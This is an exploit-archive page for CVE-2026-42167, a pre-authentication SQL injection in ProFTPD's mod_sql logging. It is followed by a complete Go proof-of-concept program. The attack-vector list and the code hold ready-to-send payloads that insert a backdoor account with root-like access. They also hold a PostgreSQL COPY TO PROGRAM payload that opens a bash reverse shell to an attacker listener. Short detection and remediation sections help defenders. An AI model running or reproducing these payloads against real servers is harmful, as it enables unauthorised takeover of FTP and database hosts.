PoC Archive PoC Archive
High CVE-2026-42167 patched

ProFTPD mod_sql Pre-Auth SQL Injection Leading to RCE (CVE-2026-42167)

by jimmexploit (PoC); originally reported by ZeroPath Research · 2026-07-05

CVSS 8.1/10
Severity
High
CVE
CVE-2026-42167
Category
network
Affected product
ProFTPD (with mod_sql and SQL-backed logging configured)
Affected versions
ProFTPD 1.3.9 and below; fixed in 1.3.9a / 1.3.10rc1
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherjimmexploit (PoC); originally reported by ZeroPath Research
CVE / AdvisoryCVE-2026-42167
Categorynetwork
SeverityHigh
CVSS Score8.1
StatusPoC
Tagssqli, unauthenticated, proftpd, mod_sql, ftp, rce, backdoor, go
RelatedN/A

Affected Target

FieldValue
Software / SystemProFTPD (with mod_sql and SQL-backed logging configured)
Versions AffectedProFTPD 1.3.9 and below; fixed in 1.3.9a / 1.3.10rc1
Language / PlatformC (ProFTPD daemon); Go (PoC client)
Authentication RequiredNo
Network Access RequiredYes — TCP access to the FTP control port

Summary

CVE-2026-42167 is a pre-authentication SQL injection in ProFTPD’s mod_sql logging support. The module’s is_escaped_text() sanitizer fails to properly neutralize input used to populate logging variables (such as %U), which are substituted into SQL statements executed when logging failed/attempted logins (e.g. via SQLLog). Because the USER FTP command is logged through this vulnerable path before authentication succeeds, an unauthenticated attacker can inject arbitrary SQL, allowing creation of backdoor accounts or, when the SQL backend supports it (e.g. PostgreSQL COPY ... TO PROGRAM), remote code execution.


Vulnerability Details

Root Cause

mod_sql’s escaping routine is_escaped_text() does not correctly neutralize the value supplied in the FTP USER command before it is substituted into %U-style SQL logging variables. When a login attempt fails, ProFTPD’s SQL logging path constructs and executes a SQL statement embedding this insufficiently-escaped username value, allowing statement-breakout SQL injection (CWE-89) entirely pre-authentication.

Attack Vector

  1. Connect to the ProFTPD control port and confirm the 220 banner.
  2. Send a USER command whose value is a crafted payload that closes the surrounding SQL statement and appends attacker SQL, e.g.:
    • Backdoor mode: ', null, null); INSERT INTO users VALUES($$<user>$$, $$<pass>$$, 0, 0, $$/$$, $$/bin/bash$$); --'
    • RCE mode (PostgreSQL): ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c "bash -i >& /dev/tcp/<attacker>/<port> 0>&1"$$; --'
  3. Follow with any PASS value and QUIT; the login itself fails (as expected — the goal is to trigger the SQL logging/injection path, not to authenticate directly).
  4. The injected SQL executes as part of the logging query: in backdoor mode a new user row is inserted directly into the accounts table; in RCE mode a reverse shell is spawned via COPY TO PROGRAM (requires a PostgreSQL backend with superuser-level COPY TO PROGRAM capability).
  5. In backdoor mode, the attacker then logs in normally with the injected credentials.

Impact

Complete pre-authentication compromise of the FTP service: creation of arbitrary backdoor accounts (including ones with home directory / and shell /bin/bash, i.e. effectively root-equivalent), or direct remote code execution via SQL-backend command execution primitives.


Environment / Lab Setup

Target:  ProFTPD 1.3.9 or earlier, mod_sql configured with SQL-based
         SQLLog/AuthTable backend (PostgreSQL used for the RCE mode's
         COPY ... TO PROGRAM primitive)
Attacker: Go 1.x toolchain to build/run main.go

Proof of Concept

PoC Script

See main.go and go.mod in this folder.

1
2
3
go run main.go --host <target_ip> --port 2121 --mode backdoor --user attacker --pass attacker_pass

go run main.go --host <target_ip> --port 2121 --mode rce --shell-host <listener_ip> --shell-port 9998

Backdoor mode connects, sends the SQLi payload via USER, then verifies success by logging in with the newly-injected credentials. RCE mode sends a payload that triggers a PostgreSQL COPY TO PROGRAM reverse shell back to an attacker-controlled listener.


Detection & Indicators of Compromise

- FTP control-channel logs showing USER commands containing SQL
  metacharacters/keywords (', --, INSERT INTO, COPY, TO PROGRAM).
- Unexpected new rows in the ProFTPD SQL accounts table, especially
  entries with home directory "/" and shell "/bin/bash".
- PostgreSQL logs showing COPY ... TO PROGRAM executions initiated by
  the ProFTPD service account.

Signs of compromise:

  • New, unexplained FTP user accounts with elevated privileges.
  • Reverse-shell connections originating from the database host shortly after anomalous FTP USER commands.
  • SQL logging table entries containing raw injected SQL fragments.

Remediation

ActionDetail
Primary fixUpgrade ProFTPD to 1.3.9a or 1.3.10rc1 (or later), which fixes the is_escaped_text() sanitization
Interim mitigationDisable SQL-based logging (SQLLog) of unauthenticated login attempts, or restrict the SQL backend account’s privileges (e.g. revoke COPY ... TO PROGRAM capability in PostgreSQL) until patched

References


Notes

Mirrored from https://github.com/jimmexploit/CVE-2026-42167-PoC on 2026-07-05.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
package main

import (
	"bufio"
	"flag"
	"fmt"
	"net"
	"os"
	"strings"
	"time"
)

func ftpCmd(host string, port int, commands []string, timeout time.Duration) (string, error) {
	addr := fmt.Sprintf("%s:%d", host, port)
	conn, err := net.DialTimeout("tcp", addr, timeout)
	if err != nil {
		return "", err
	}
	defer conn.Close()

	conn.SetDeadline(time.Now().Add(timeout))
	reader := bufio.NewReader(conn)

	resp := ""
	line, err := reader.ReadString('\n')
	if err != nil {
		return "", err
	}
	resp += line

	for _, cmd := range commands {
		_, err := fmt.Fprintf(conn, "%s\r\n", cmd)
		if err != nil {
			return "", err
		}
		time.Sleep(500 * time.Millisecond)

		for {
			line, err := reader.ReadString('\n')
			if err != nil {
				resp += line
				break
			}
			resp += line
			if len(line) >= 4 && line[3] == ' ' {
				break
			}
		}
	}

	return resp, nil
}

func backdoorMode(host string, port int, user string, pass string) bool {
	fmt.Println(strings.Repeat("=", 70))
	fmt.Println("CVE-2026-42167: Pre-auth backdoor injection via is_escaped_text() bypass")
	fmt.Println(strings.Repeat("=", 70))

	fmt.Printf("\n[*] Connecting to %s:%d...\n", host, port)
	banner, err := ftpCmd(host, port, []string{"QUIT"}, 10*time.Second)
	if err != nil || !strings.Contains(banner, "220") {
		fmt.Println("[-] No FTP banner received")
		return false
	}
	lines := strings.Split(banner, "\n")
	fmt.Printf("[*] Banner: %s\n", strings.TrimSpace(lines[0]))

	fmt.Printf("\n[*] Verifying '%s' doesn't exist yet...\n", user)
	resp, err := ftpCmd(host, port, []string{
		fmt.Sprintf("USER %s", user),
		fmt.Sprintf("PASS %s", pass),
		"QUIT",
	}, 10*time.Second)
	if err == nil && strings.Contains(resp, "230") {
		fmt.Printf("[-] User '%s' already exists — can't demonstrate injection\n", user)
		return false
	}
	fmt.Println("[*] Confirmed: login rejected (530)")

	fmt.Println("\n[*] Injecting backdoor user via SQL injection (pre-auth)...")

	payload := fmt.Sprintf("', null, null); INSERT INTO users VALUES($$%s$$, $$%s$$, 0, 0, $$/$$, $$/bin/bash$$); --'",
		user, pass)
	fmt.Printf("[*] Payload: %d bytes, passes is_escaped_text() check\n", len(payload))

	_, err = ftpCmd(host, port, []string{
		fmt.Sprintf("USER %s", payload),
		"PASS x",
		"QUIT",
	}, 10*time.Second)

	fmt.Println("[*] Injection sent (login fails — injection fires via ERR_* SQLLog)")
	time.Sleep(2 * time.Second)

	fmt.Printf("\n[*] Logging in as injected user '%s'...\n", user)
	resp, err = ftpCmd(host, port, []string{
		fmt.Sprintf("USER %s", user),
		fmt.Sprintf("PASS %s", pass),
		"PWD",
		"QUIT",
	}, 10*time.Second)

	if err == nil {
		for _, line := range strings.Split(resp, "\n") {
			if strings.TrimSpace(line) != "" {
				fmt.Printf("    %s\n", strings.TrimSpace(line))
			}
		}
	}

	loginOk := err == nil && strings.Contains(resp, "230")

	fmt.Println()
	if loginOk {
		fmt.Printf("[+] SUCCESS — User '%s' injected and login confirmed!\n", user)
		if strings.Contains(resp, `"/"`) {
			fmt.Println("[+] Homedir is / with uid=0 — full filesystem access")
		}
		fmt.Println("[+] SUCCESS - Exploit Done ")
	} else {
		fmt.Printf("[-] FAILED — Could not login as '%s'\n", user)
	}

	fmt.Println()
	fmt.Println("[*] Next steps:")
	fmt.Printf("    - Username: %s\n", user)
	fmt.Printf("    - Password: %s\n", pass)
	fmt.Printf("    - Target: %s:%d\n", host, port)
	fmt.Println("    - Login with any FTP client or command line")
	fmt.Println()
	fmt.Println(strings.Repeat("=", 70))
	return loginOk
}

func rceMode(host string, port int, shellHost string, shellPort int) bool {
	fmt.Println(strings.Repeat("=", 70))
	fmt.Println("CVE-2026-42167: Pre-auth RCE via COPY TO PROGRAM")
	fmt.Println(strings.Repeat("=", 70))

	fmt.Printf("\n[*] Connecting to %s:%d...\n", host, port)
	banner, err := ftpCmd(host, port, []string{"QUIT"}, 10*time.Second)
	if err != nil || !strings.Contains(banner, "220") {
		fmt.Println("[-] No FTP banner received")
		return false
	}
	lines := strings.Split(banner, "\n")
	fmt.Printf("[*] Banner: %s\n", strings.TrimSpace(lines[0]))

	shellCmd := fmt.Sprintf("bash -c \"bash -i >& /dev/tcp/%s/%d 0>&1\"", shellHost, shellPort)
	payload := fmt.Sprintf("', null, null); COPY (SELECT $$x$$) TO PROGRAM $$%s$$; --'", shellCmd)

	fmt.Println("\n[*] Injecting reverse shell via SQL injection (pre-auth)...")
	fmt.Printf("    Shell payload: %s\n", shellCmd)
	fmt.Printf("    SQLi payload:  %d bytes, passes is_escaped_text() check\n", len(payload))
	fmt.Printf("    Target: %s:%d\n", shellHost, shellPort)
	fmt.Println()

	_, err = ftpCmd(host, port, []string{
		fmt.Sprintf("USER %s", payload),
		"PASS x",
		"QUIT",
	}, 10*time.Second)

	fmt.Println("[+] Injection sent successfully")
	fmt.Println(strings.Repeat("=", 70))

	return true
}

func main() {
	fmt.Println(`
  ______   _____ ______      ____   ___ ____   __           _  _   ____  _  ____ ______
 / ___\ \ / / __|___ /      |___ \ / _ \___ \ / /_    _  _ | || | |___ \/ |/ ___|____  |
| |    \ V /| |_  |_ \  _____ __) | | | |__) | '_ \  | || || || |_  __) | | |  _   / /
| |___  | | |  _|___) ||_____/ __/| |_| / __/| (_) | | |__||_||_  _/ __/| | |_| | / /
 \____| |_| |_| |____/      |_____|\___/_____|\___/   \____(_)(_)|_|_____|_|\____||_/
`)
	fmt.Println("     Pre-auth SQLi RCE & Backdoor Injection via is_escaped_text() bypass")
	fmt.Println()

	host := flag.String("host", "", "Target FTP server hostname")
	port := flag.Int("port", 2121, "Target FTP server port (default: 2121)")
	mode := flag.String("mode", "backdoor", "Attack mode: backdoor or rce (default: backdoor)")

	user := flag.String("user", "attacker", "Backdoor username (default: attacker)")
	pass := flag.String("pass", "attacker_pass", "Backdoor password (default: attacker_pass)")

	shellHost := flag.String("shell-host", "", "Listener address for reverse shell connection")
	shellPort := flag.Int("shell-port", 9998, "Listener port for reverse shell (default: 9998)")

	flag.Parse()

	if *host == "" {
		fmt.Fprintf(os.Stderr, "[-] Error: --host is required\n")
		flag.Usage()
		os.Exit(1)
	}

	if *port < 1 || *port > 65535 {
		fmt.Fprintf(os.Stderr, "[-] Error: --port must be between 1 and 65535\n")
		os.Exit(1)
	}

	if *mode != "backdoor" && *mode != "rce" {
		fmt.Fprintf(os.Stderr, "[-] Error: --mode must be backdoor or rce\n")
		os.Exit(1)
	}

	if *mode == "rce" {
		if *shellHost == "" {
			fmt.Fprintf(os.Stderr, "[-] Error: --shell-host is required for rce mode\n")
			os.Exit(1)
		}
		if *shellPort < 1 || *shellPort > 65535 {
			fmt.Fprintf(os.Stderr, "[-] Error: --shell-port must be between 1 and 65535\n")
			os.Exit(1)
		}
		success := rceMode(*host, *port, *shellHost, *shellPort)
		if !success {
			os.Exit(1)
		}
	} else {
		success := backdoorMode(*host, *port, *user, *pass)
		if !success {
			os.Exit(1)
		}
	}
}